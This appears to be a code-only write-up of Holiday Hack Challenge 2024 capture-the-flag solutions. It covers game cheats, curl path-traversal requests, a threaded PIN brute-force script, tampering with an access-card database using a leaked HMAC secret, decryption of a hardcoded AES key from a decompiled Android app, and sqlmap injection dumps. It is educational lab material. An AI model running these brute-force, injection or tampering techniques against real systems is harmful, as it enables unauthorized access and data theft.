const wordSets = {
    1: ["Tinsel", "Sleigh", "Belafonte", "Bag", "Comet", "Garland", "Jingle Bells", "Mittens", "Vixen", "Gifts", "Star", "Crosby", "White Christmas", "Prancer", "Lights", "Blitzen"],
    2: ["Nmap", "burp", "Frida", "OWASP Zap", "Metasploit", "netcat", "Cycript", "Nikto", "Cobalt Strike", "wfuzz", "Wireshark", "AppMon", "apktool", "HAVOC", "Nessus", "Empire"],
    3: ["AES", "WEP", "Symmetric", "WPA2", "Caesar", "RSA", "Asymmetric", "TKIP", "One-time Pad", "LEAP", "Blowfish", "hash", "hybrid", "Ottendorf", "3DES", "Scytale"],
    4: ["IGMP", "TLS", "Ethernet", "SSL", "HTTP", "IPX", "PPP", "IPSec", "FTP", "SSH", "IP", "IEEE 802.11", "ARP", "SMTP", "ICMP", "DNS"]
};

let correctSets = [
    [0, 5, 10, 14], // Set 1
    [1, 3, 7, 9],   // Set 2
    [2, 6, 11, 12], // Set 3
    [4, 8, 13, 15]  // Set 4
];

correctSets.forEach(set => {
    const words = set.map(index => wordSets[round][index]).join(", ");
    console.log(words);
});

Tinsel, Garland, Star, Lights
Sleigh, Bag, Mittens, Gifts
Belafonte, Jingle Bells, Crosby, White Christmas
Comet, Vixen, Prancer, Blitzen

correctSets.forEach(set => {
    set.forEach(index => {
      const word = wordSets[round][index];
      const wordBox = wordBoxes.find(box => box.text == word);
      selectedBoxes.push(wordBox);
      wordBox.selected = true;
      if (selectedBoxes.length == 4) {
          checkSelectedSet(mainScene);
      }
  });
});

score=100000

const Levels = {
  "Sandy Start": {
    name: "Sandy Start",
  },
  "Waves and Crates": {
    name: "Waves and Crates",
  },
  "Tidal Treasures": {
    name: "Tidal Treasures",
  },
  "Dune Dash": {
    name: "Dune Dash",
  },
  "Coral Cove": {
    name: "Coral Cove",
  },
  "Shell Seekers": {
    name: "Shell Seekers",
  },
  "Palm Grove Shuffle": {
    name: "Palm Grove Shuffle",
  },
  "Tropical Tangle": {
    name: "Tropical Tangle",
  },
  "Crate Caper": {
    name: "Crate Caper",
  },
  "Shoreline Shuffle": {
    name: "Shoreline Shuffle",
  },
  "Beachy Bounty": {
    name: "Beachy Bounty",
  },
  "Driftwood Dunes": {
    name: "Driftwood Dunes",
  },
  "A Real Pickle": {
    name: "A Real Pickle",
  },
};

const EntityTypesRef = {
    0: 'start',
    1: 'end',
    2: 'crate',
    3: 'blocker',
    4: 'hazard',
    5: 'steam',
    6: 'portal',
    7: 'spring',
};

const whyCantIHoldAllTheseSprings = () => `

                                     WHY CAN'T I HOLD ALL THESE SPRINGS??

                                                 .--======-
                                             --              --.
                                          -=                     =:
                                        .=                         -
                                       -.                            -
                                      ::                             .:
                                      :                               :.
                                     +                                 -
                                    .-                                 :
                                    ::                                 .-
                                    ..                                  =
                                    :                 :.                =:
                                    :                                  =:  -
                                     =                                *    -
                                     ..       :        .:. ..              -
                                      .                                   :.
                 =.   .++:  ..        .   .                 :            =
               +  *=.       =         -       .         *@@ .+          #
              -+-     .:-**--::::     =               :+#%*-.          .:
            :-   -+.            -      = .@@# *                        =
        .#   .*               :-       .: #+:                          :
      +   +=     -#.            -        =       :                     -
     #        .=                =        .      +                      -.             .=++-         :-
     =      -.          .++=-=+-         .     =        -                    ..:----    ...           ::
     +   .-     :=.      : ..-+%+         +    :-   :: ..                           -***+++++=          =
      -      .+        ..-::   *%:--.      +     -          .-*:                  .++*++++----::.       ..
      .:   #       =%:.-:.    :*#:=+%=      #           .***+--=::--:..  .-:      :++*-::----:::....:    =
       #      .+.   -.::    ..=#=: .*#.      .=  :+**:.+**==+:...:::::::::-. +:  :.-++.          .::-... +
       +           .:.:    .--*... .#+-:=**-   -.     -+*+#+-.  -          .-=#. :.*:+*=..          .:- - -

const urlParams = __PARSE_URL_VARS__();
const levelNum = urlParams.level ? urlDecode(urlParams.level) : '';
const rid = urlParams.id;
const isEditor = !!urlParams.edit;

...[snip]...
if (isEditor) {
    adminControls.classList.remove('hidden');
    console.log('⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡');
    console.log('⚡ Hey, I noticed you are in edit mode! Awesome!');
    console.log('⚡ Use the tools to create your own level.');
    console.log('⚡ Level data is saved to a variable called `game.entities`.');
    console.log('⚡ I\'d love to check out your level--');
    console.log('⚡ Email `JSON.stringify(game.entities)` to [email protected]');
    console.log('⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡⚡');
}
...[snip]...
milestoneText.innerHTML = `
    <p>Congratulations! You've completed all levels!</p>
    <p>That said, there is one level even our best Elf Minders have struggled to complete.</p>
    <p>It's <strong>A Real Pickle</strong>, to be sure.</p>
    <p>We're not even sure it's solvable with our current tools.</p>
    <p>I've added <strong>A Real Pickle</strong> to your level list on the main menu.</p>
    <p>Can you give it a try?</p>
    `;
...[snip]...
if (!isEditor) {
    const result = await fetch('/game/submit', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify(data),
    });

    return result;
}

if (this.isPointInAnySegment(nextPoint) || entityHere) {
    if (entityHere) return this.segments[0][0]; // fix this
    return nextPoint;
} else {
    return;
}

<div class="admin-controls hidden">
    <!-- <button id="startBtn">Start</button> -->
    <button id="resetBtn">Reset</button>
    <button id="clearPathBtn">Clear Path</button>
    <button id="clearEntitiesBtn">Clear Entities</button>
    <fieldset id="tools">
        <legend>Select a tool:</legend>

        <input type="radio" id="path" name="tool-select" value="path" checked />
        <label for="path">Path</label>

        <input type="radio" id="eraser" name="tool-select" value="eraser" />
        <label for="eraser">Eraser</label>

        <input type="radio" id="portal" name="tool-select" value="portal" />
        <label for="portal">Tunnel</label>

        <input type="radio" id="start" name="tool-select" value="start" />
        <label for="start">Start</label>

        <input type="radio" id="end" name="tool-select" value="end" />
        <label for="end">End</label>

        <input type="radio" id="crate" name="tool-select" value="crate" />
        <label for="crate">Crate</label>

        <input type="radio" id="blocker" name="tool-select" value="blocker" />
        <label for="blocker">Blocker</label>

        <input type="radio" id="hazard" name="tool-select" value="hazard" />
        <label for="hazard">Hazard</label>

        <input type="radio" id="steam" name="tool-select" value="steam" />
        <label for="steam">Steam</label>

        <input type="radio" id="spring" name="tool-select" value="spring" />
        <label for="spring">Spring</label>
    </fieldset>
</div>

game.entities.push([2,1,EntityTypes.SPRING]);
game.entities.push([8,3,EntityTypes.SPRING]);
game.entities.push([8,7,EntityTypes.PORTAL]);
game.entities.push([10,9,EntityTypes.PORTAL]);

alabaster@curlingfun:~$ curl http://curlingfun:8080
You have successfully accessed the site on port 8080!

alabaster@curlingfun:~$ curl --insecure https://curlingfun:9090/
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

alabaster@curlingfun:~$ curl --insecure --data "skip=alabaster" https://curlingfun:9090/
You have successfully made a POST request!

alabaster@curlingfun:~$ curl --insecure --cookie "end=3" https://curlingfun:9090/
You have successfully set a cookie!

alabaster@curlingfun:~$ curl --insecure --verbose https://curlingfun:9090/
> GET / HTTP/1.1
> Host: curlingfun:9090
> User-Agent: curl/7.81.0
> Accept: */*
>
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 30 Dec 2024 08:45:03 GMT
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Custom-Header: You have found the custom header!
<
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

alabaster@curlingfun:~$ curl --insecure --header "Stone: Granite" https://curlingfun:9090/
You have successfully set a custom HTTP header!

alabaster@curlingfun:~$ curl --insecure --path-as-is https://curlingfun:9090/../../etc/hacks
You have successfully utilized --path-as-is to send a raw path!

alabaster@curlingfun:~$ cat HARD-MODE.txt
Prefer to skip ahead without guidance?  Use curl to craft a request meeting these requirements:

- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow"
- Cookie "end" set to "10"
- Header "Hack" set to "12ft"

alabaster@curlingfun:~$ curl --insecure --data 'skip=bow' --cookie 'end=10' --header 'Hack: 12ft' https://curlingfun:9090/
Excellent!  Now, use curl to access this URL: https://curlingfun:9090/../../etc/button

alabaster@curlingfun:~$ curl --insecure --path-as-is https://curlingfun:9090/../../etc/button
Great!  Finally, use curl to access the page that this URL redirects to: https://curlingfun:9090/GoodSportsmanship

alabaster@curlingfun:~$ curl --insecure --location https://curlingfun:9090/GoodSportsmanship
Excellent work, you have solved hard mode!  You may close this terminal once HHC grants your achievement.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to bruteforce the combination
Holiday Hack 2024 - Frosty Keypad
"""

# Imports
from concurrent.futures import ThreadPoolExecutor
import requests
import uuid
from itertools import product


# Function to send POST request for a given combination
def submit_combination(combination):
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0 " + str(uuid.uuid4())}
    response = requests.post("https://hhc24-frostykeypad.holidayhackchallenge.com/submit", headers=headers, json={"answer": combination})
    if response.status_code == 200:
        print(f"[+] Valid combination: {combination}, Status Code: {response.status_code}")


def main():
    # Possible pin combinations
    possible_pins = []
    for pin in product([2, 6, 7, 8], repeat=5):
        # Check if a combination is valid (no more than one repeating digit)
        if len(set(pin)) == 4 and len(pin) == 5:
            possible_pins.append("".join(map(str, pin)))
    print(f"[*] {len(possible_pins)} possible pins. Testing now ...")

    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(submit_combination, possible_pins)


if __name__ == "__main__":
    main()

python3 brute_frostykeypad.py
[*] 240 possible pins. Testing now ...
[+] Valid combination: 22786, Status Code: 200
[+] Valid combination: 72682, Status Code: 200

mv heuristic_edge_detection.py assmeble_hardwarehacking101.py
python3 assmeble_hardwarehacking101.py
open assembled_image.png

# Install required utility
sudo apt install imagemagick
# Step 1: Crop the left portion
convert assembled_image.png -gravity East -chop 75%x0 -flop left.png
# Step 2: Crop the right portion
convert assembled_image.png -chop 25%x0 -flop right.png
# Step 3: Combine the images
convert left.png right.png +append output.jpg
# Step 4: Open image
open output.jpg

exiftool slices/0d1ffcda-f513-42d4-adf7-818dd7ef1407.jpg
ExifTool Version Number         : 13.00
File Name                       : 0d1ffcda-f513-42d4-adf7-818dd7ef1407.jpg
Directory                       : slices
File Size                       : 1127 bytes
File Modification Date/Time     : 2024:10:16 15:14:27-04:00
File Access Date/Time           : 2024:10:16 15:14:27-04:00
File Inode Change Date/Time     : 2024:10:16 15:14:27-04:00
File Permissions                : -rwx------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
User Comment                    : WyIwZ1RPIiwgIm1pIl0=
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 1
Image Height                    : 1000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1x1000
Megapixels                      : 0.001

exiftool -UserComment ./slices/0d1ffcda-f513-42d4-adf7-818dd7ef1407.jpg | awk '{print $4}' | base64 -d
["0gTO", "mi"]
echo -n 0gTO | rev | base64 -d
984

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to combine all the shreds of paper.
Holiday Hack 2024 - Hardware Hacking 101
"""

# Imports
import exif
import json
from base64 import b64decode
from pathlib import Path
from PIL import Image

# Dictionary to store metadata and images
metadata = {}
image_data = {}

# Process each .jpg file in the directory
for image_path in Path("slices").glob("*.jpg"):
    # Extract EXIF data from the image
    exif_data = exif.Image(image_path)

    # Decode and parse the custom user comment
    key_encoded, value_encoded = json.loads(b64decode(exif_data.user_comment))

    # Decode the index (key) and store the corresponding metadata (value)
    index = int(b64decode(key_encoded[::-1]))  # Reverse key before decoding
    metadata[index] = value_encoded

    # Open the image and store it with the index
    image_data[index] = Image.open(image_path)

# Reconstruct the metadata message by sorting and joining the values
reconstructed_message = "".join(value for _, value in sorted(metadata.items()))
print(reconstructed_message)  # Output the reconstructed message

# Sort images by their indices
sorted_images = [image for _, image in sorted(image_data.items())]

# Determine the total dimensions for the final combined image
total_width = sum(image.width for image in sorted_images)
max_height = max(image.height for image in sorted_images)

# Create a blank canvas for the combined image
combined_image = Image.new("RGB", (total_width, max_height))

# Paste each image onto the canvas, aligning them horizontally
offset_x = 0
for image in sorted_images:
    combined_image.paste(image, (offset_x, 0))
    offset_x += image.width  # Update horizontal offset

# Save the combined image to a file
result_path = "result.jpg"
combined_image.save(result_path)

# Open the combined image to verify the result
combined_image.show()

async function checkit(serial, uV) {
  // Retrieve the request ID from the URL query parameters
  const requestID = getResourceID(); // Replace 'paramName' with the actual parameter name you want to retrieve

  if (!requestID) {
    requestID = "00000000-0000-0000-0000-000000000000";
  }

  // Build the URL with the request ID as a query parameter
  // Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.
  // We have since updated the API to v2 and v1 "should" be removed by now.
  // const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);
  const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`);

slh@slhconsole\> ls -la
total 156
drwxrwxr-t 1 slh  slh    4096 Nov 13 14:44 .
drwxr-xr-x 1 root root   4096 Nov 13 14:44 ..
-r--r--r-- 1 slh  slh     518 Oct 16 23:52 .bash_history
-r--r--r-- 1 slh  slh    3897 Sep 23 20:02 .bashrc
-r--r--r-- 1 slh  slh     807 Sep 23 20:02 .profile
-rw-r--r-- 1 root root 131072 Nov 13 14:44 access_cards
slh@slhconsole\> file access_cards
access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 4

slh@slhconsole\> history
    1  cd /var/www/html
    2  ls -l
    3  sudo nano index.html
    4  cd ..
    5  rm -rf repo
    6  sudo apt update
    7  sudo apt upgrade -y
    8  ping 1.1.1.1
    9  slh --help
   10  slg --config
   11  slh --passcode CandyCaneCrunch77 --set-access 1 --id 143
   12  df -h
   13  top
   14  ps aux | grep apache
   15  sudo systemctl restart apache2
   16  history | grep ssh
   17  clear
   18  whoami
   19  crontab -e
   20  crontab -l
   21  alias ll='ls -lah'
   22  unalias ll
   23  echo "Hello, World!"
   24  cat /etc/passwd
   25  sudo tail -f /var/log/syslog
   26  mv archive.tar.gz /backup/
   27  rm archive.tar.gz
   28  find / -name "*.log"
   29  grep "error" /var/log/apache2/error.log

slh@slhconsole\> slh --passcode CandyCaneCrunch77 --set-access 1 --id 42

       *   *   *   *   *   *   *   *   *   *   *
   *                                             *
*      ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄     *
 *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  *
  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *
   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *
    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\
   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *
  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *
*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *
 *  \__|  \__| \______/  \______/ \________| \______/  \______/  *
*         *    ❄             ❄           *        ❄    ❄    ❄   *
   *        *     *     *      *     *      *    *      *      *
   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *
   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *
  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*
  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *
 *   $$ |\_$$ |$$  __$$< $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*
  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *
*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *
 *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *
  *                                                            ❄    ❄    ❄   *
   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *
Card 42 granted access level 1.

slh@slhconsole\> sqlite3 access_cards
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.

sqlite> .tables
access_cards  config

sqlite> .schema access_cards
CREATE TABLE access_cards (
            id INTEGER PRIMARY KEY,
            uuid TEXT,
            access INTEGER,
            sig TEXT
        );
sqlite> .schema config
CREATE TABLE config (
            id INTEGER PRIMARY KEY,
            config_key TEXT UNIQUE,
            config_value TEXT
        );
sqlite> SELECT * FROM access_cards WHERE id=42;
42|c06018b6-5e80-4395-ab71-ae5124560189|0|ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd
sqlite> SELECT * FROM config;
1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
2|hmac_message_format|{access}{uuid}
3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1
4|app_version|1.0

sqlite> UPDATE access_cards SET access=1, sig="135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096" WHERE id=42;

       *   *   *   *   *   *   *   *   *   *   *
   *                                             *
*      ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄     *
 *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  *
  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *
   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *
    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\
   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *
  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *
*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *
 *  \__|  \__| \______/  \______/ \________| \______/  \______/  *
*         *    ❄             ❄           *        ❄    ❄    ❄   *
   *        *     *     *      *     *      *    *      *      *
   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *
   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *
  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*
  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *
 *   $$ |\_$$ |$$  __$$< $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*
  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *
*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *
 *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *
  *                                                            ❄    ❄    ❄   *
   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *

wget https://www.holidayhackchallenge.com/2024/SantaSwipe.apk

# Decompile
jadx SantaSwipe.apk
# Open project in Android Studio
studio SantaSwipe/
# Open project in VSCode
code SantaSwipe

@JavascriptInterface
public final void getNormalList() {
    final String jsonItems;
    try {
        SQLiteDatabase sQLiteDatabase = MainActivity.this.database;
        if (sQLiteDatabase == null) {
            Intrinsics.throwUninitializedPropertyAccessException("database");
            sQLiteDatabase = null;
        }
        Cursor cursor = sQLiteDatabase.rawQuery("SELECT Item FROM NormalList WHERE Item NOT LIKE '%Ellie%'", null);
        List items = new ArrayList();
        Log.d("WebAppInterface", "Fetching items from NormalList table");
        while (cursor.moveToNext()) {
            String item = cursor.getString(0);
            Intrinsics.checkNotNull(item);
            items.add(item);
            Log.d("WebAppInterface", "Fetched item: " + item);
        }

wget https://www.holidayhackchallenge.com/2024/SantaSwipeSecure.aab

bundletool build-apks --bundle=SantaSwipeSecure.aab --output=SantaSwipeSecure.apks --mode=universal
unzip SantaSwipeSecure.apks
Archive:  SantaSwipeSecure.apks
 extracting: SantaSwipeSecure/toc.pb
 extracting: SantaSwipeSecure/universal.apk
mv SantaSwipeSecure/universal.apk SantaSwipeSecure.apk
rm -rf SantaSwipeSecure
# Decompile
jadx SantaSwipeSecure.apk
# Open project in Android Studio
studio SantaSwipeSecure/
# Open project in VSCode
code SantaSwipeSecure

private final String decryptData(String encryptedData) {
    try {
        Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
        byte[] bArr = MainActivity.this.staticIv;
        if (bArr == null) {
            Intrinsics.throwUninitializedPropertyAccessException("staticIv");
            bArr = null;
        }
        GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, bArr);
        SecretKey secretKey = MainActivity.this.secretKey;
        if (secretKey == null) {
            Intrinsics.throwUninitializedPropertyAccessException("secretKey");
            secretKey = null;
        }
        cipher.init(2, secretKey, gCMParameterSpec);
        byte[] doFinal = cipher.doFinal(Base64.decode(encryptedData, 0));
        Intrinsics.checkNotNull(doFinal);
        return new String(doFinal, Charsets.UTF_8);
    } catch (Exception unused) {
        return null;
    }
}

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    try {
        String string = getString(R.string.iv);
        Intrinsics.checkNotNullExpressionValue(string, "getString(...)");
        byte[] decode = Base64.decode(StringsKt.trim((CharSequence) string).toString(), 0);
        Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
        this.staticIv = decode;
        String string2 = getString(R.string.ek);
        Intrinsics.checkNotNullExpressionValue(string2, "getString(...)");
        byte[] decode2 = Base64.decode(StringsKt.trim((CharSequence) string2).toString(), 0);
        this.secretKey = new SecretKeySpec(decode2, 0, decode2.length, "AES");
        initializeDatabase();
        initializeWebView();
        initializeEncryption();
    } catch (IllegalArgumentException e) {
        Log.e("MainActivity", "Error during initialization: " + e.getMessage());
    }
}

<string name="ek">rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=</string>
<string name="iv">Q2hlY2tNYXRlcml4</string>

/**
 * decrypt_mobileanalysis.java
 * A utility class for decrypting AES-encrypted strings using AES/GCM/NoPadding mode.
 * Holiday Hack 2024 - Mobile Analysis
**/

// Imports
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import java.nio.charset.StandardCharsets;

public class decrypt_mobileanalysis {

    // Static IV and Key
    private static final byte[] STATIC_IV = Base64.getDecoder().decode("Q2hlY2tNYXRlcml4");
    private static final byte[] SECRET_KEY_BYTES = Base64.getDecoder().decode("rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=");
    private static final SecretKeySpec SECRET_KEY = new SecretKeySpec(SECRET_KEY_BYTES, "AES");

    /**
     * Decrypts the given Base64-encoded encrypted string using AES/GCM/NoPadding.
     *
     * @param encryptedData The encrypted data in Base64 format.
     * @return The decrypted string, or null if decryption fails.
     */
    public static String decryptData(String encryptedData) {
        try {
            // Initialize the cipher
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec gcmSpec = new GCMParameterSpec(128, STATIC_IV);
            cipher.init(Cipher.DECRYPT_MODE, SECRET_KEY, gcmSpec);

            // Decode the Base64-encoded encrypted data
            byte[] decodedBytes = Base64.getDecoder().decode(encryptedData);

            // Perform decryption
            byte[] decryptedBytes = cipher.doFinal(decodedBytes);

            // Convert the decrypted bytes into a string
            return new String(decryptedBytes, StandardCharsets.UTF_8);
        } catch (Exception e) {
            // Return null if an error occurs during decryption
            System.err.println("Decryption failed: " + e.getMessage());
            return null;
        }
    }

    public static void main(String[] args) {
        String[] encryptedStrings = {
            "IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ",
            "KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8="
        };

        // Decrypt each string
        for (String encrypted : encryptedStrings) {
            String decrypted = decryptData(encrypted);
            if (decrypted != null) {
                System.out.println("CT: " + encrypted + " PT: " + decrypted);
            } else {
                System.out.println("CT: " + encrypted + " PT: Decryption failed");
            }
        }
    }
}

javac decrypt_mobileanalysis.java
java decrypt_mobileanalysis
CT: IVrt+9Zct4oUePZeQqFwyhBix8cSCIxtsa+lJZkMNpNFBgoHeJlwp73l2oyEh1Y6AfqnfH7gcU9Yfov6u70cUA2/OwcxVt7Ubdn0UD2kImNsclEQ9M8PpnevBX3mXlW2QnH8+Q+SC7JaMUc9CIvxB2HYQG2JujQf6skpVaPAKGxfLqDj+2UyTAVLoeUlQjc18swZVtTQO7Zwe6sTCYlrw7GpFXCAuI6Ex29gfeVIeB7pK7M4kZGy3OIaFxfTdevCoTMwkoPvJuRupA6ybp36vmLLMXaAWsrDHRUbKfE6UKvGoC9d5vqmKeIO9elASuagxjBJ PT: CREATE TRIGGER DeleteIfInsertedSpecificValue
    AFTER INSERT ON NormalList
    FOR EACH ROW
    BEGIN
        DELETE FROM NormalList WHERE Item = 'KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8=';
    END;
CT: KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8= PT: Joshua, Birmingham, United Kingdom

    Name: ELF-HAWK, Quantity: 40, Weapons: Snowball-launcher
    Name: Pigeon-Lookalike-v4, Quantity: 20, Weapons: Surveillance Camera
    Name: FlyingZoomer, Quantity: 4, Weapons: Snowball-Dropper
    Name: Zapper, Quantity: 5, Weapons: CarrotSpike

Comments for Zapper

    This is sort of primitive, but it works!

sqlmap --cookie 'session=<session>' --url 'https://hhc24-dronepath.holidayhackchallenge.com/api/v1.0/drones?drone=' --random-agent --batch --level=5 --risk=3 --proxy=http://127.0.0.1:8080 --dump
---
[INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: drone (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: drone=' OR NOT 1868=1868-- MPGh
---
[INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite

grep -io 'true\|false' ELF-HAWK-dump.csv | tr '[:upper:]' '[:lower:]' | sed 's/true/1/g; s/false/0/g' | tr -d '\n' | perl -lpe '$_=pack"B*",$_'

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to create ascii art from boolean columns.
Holiday Hack 2024 - Drone Path
"""

# Imports
import pandas as pd
from io import StringIO

# Read file
with open("ELF-HAWK-dump.csv", "r") as file:
    file_contents = file.read()

# Parse the CSV data using pandas
file_contents = file_contents.replace("APP.warning3/7/2024", "APP.warning\n3/7/2024")
csv_data = StringIO(file_contents)
df = pd.read_csv(csv_data)

# Boolean columns
boolean_columns = df.select_dtypes(include="bool").columns
print(f"[*] Boolean Columns (len: {len(boolean_columns)}):")

# Iterate through each row
binary_data = ""
for _, row in df.iterrows():
    for value in row:
        # Check if the value is a boolean and convert it to '1' or '0'
        if isinstance(value, bool):
            binary_data += "1" if value else "0"

# Remove trailing and fix padding
binary_data = binary_data.rstrip("0")
padding_length = (8 - len(binary_data) % 8) % 8  # Calculate how many zeros to add
binary_data = binary_data + "0" * padding_length
print(f"[*] Binary Data (len: {len(binary_data)})")

# Convert binary data to ASCII string
ascii_string = ""
for i in range(0, len(binary_data), 8):
    byte = binary_data[i : i + 8]
    ascii_string += chr(int(byte, 2))  # Convert binary to integer and then to a character
print(ascii_string)

python3 asciiart_dronepath.py
[*] Boolean Columns (len: 58):
[*] Binary Data (len: 41768)
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
